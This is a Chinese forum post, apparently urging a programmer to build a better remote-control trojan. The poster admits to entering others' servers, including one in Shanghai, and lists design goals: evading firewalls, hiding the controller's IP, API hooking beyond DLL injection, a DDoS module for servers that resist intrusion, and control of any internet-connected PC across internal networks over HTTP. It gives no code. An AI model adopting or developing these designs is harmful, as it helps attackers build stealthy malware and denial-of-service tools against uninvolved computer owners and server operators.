不过我相信以你的编程水平完全可以写出更好的东西(因为我常去你站看你写的文章,应该也有几年了)
之所以你的黑洞写的不好我认为因为你是程序员,主要擅长的是写东西
黑客程序涉及到的东西主要还是和网络安全有关,当时你对这方面可能不是很了解!
现在这方面你肯定比当初要好多了.

本人曾到不少服务器里参观过,前两年一个偶然的机会到(万×网)一台上海的服务器里逛了逛,只是善意的给网管提出了警告没做别的,当然那是很偶然的机会,不然凭我的水平是难做到的!也稍微知道些入侵的技巧,但我绝不能算是HACKER,因为我编程水平太差
但是,我知道这些人需要的是什么(目前为止所有在外面公布的木马全部都是垃圾,网络神偷也只是稍微好些)
他们不光光是需要只有4K大的马,他们需要的是一只能够控制所有在网上上网电脑的木马,在200K以下都是可以接受的!不信大家可以到个大HACKER站点调查一下!
另一点就是隐藏方式要好!要能装过防火墙,要能绝对不暴露CLIENT的IP,目前市面上的很多马已经都出现了这个问题,把CLIENT的IP赤裸裸的摆在了SERVER端面前。DLL插入都已经是很简单的了,我这个初学都会了!要做就要做API函数拦截技术!
http://www.delphibbs.com/delphibbs/dispq.asp?lid=617077
还有就是加入DDOS模块!在遇到入侵不了的服务器时,DDOS就可以发挥很大的用场!

对一个没有任何破绽的服务器而言就算SERVER端能做到只有1K,你都只有干瞪眼的份!换句话说你有机会能进他的系统,留一个200 K以下具备以上特征的木马,如果技艺高超的话相信你用500K的木马对你下次再进这个系统都不会有什么影响。

当然木马确实是越小越好,但正如你说的那样也没必要太追求小,稍微不是很大就可以了!

所有在网上上网电脑指的是
---------------------
外部网可以连接内部网
内部网可以连接外部网
一个内部网可以连接另一个内部网(一个网吧的内部电脑控制另一个网吧的内部电脑)
以及其他各种client 和 server 端的连线方式
SERVER端只要能上网就能被控制
其实仔细想一下完全可能实现的(模块我已经想好了)
不要只盯着TCP/IP协议里的TCP或UDP
那样的话基本上是很难做到比较完美
TCP/IP协议里还有很多别的协议,比如HTTP协议就不错!

再次声明我乃编程初学者一个,有说错什么大家不要笑我!
 
后退
顶部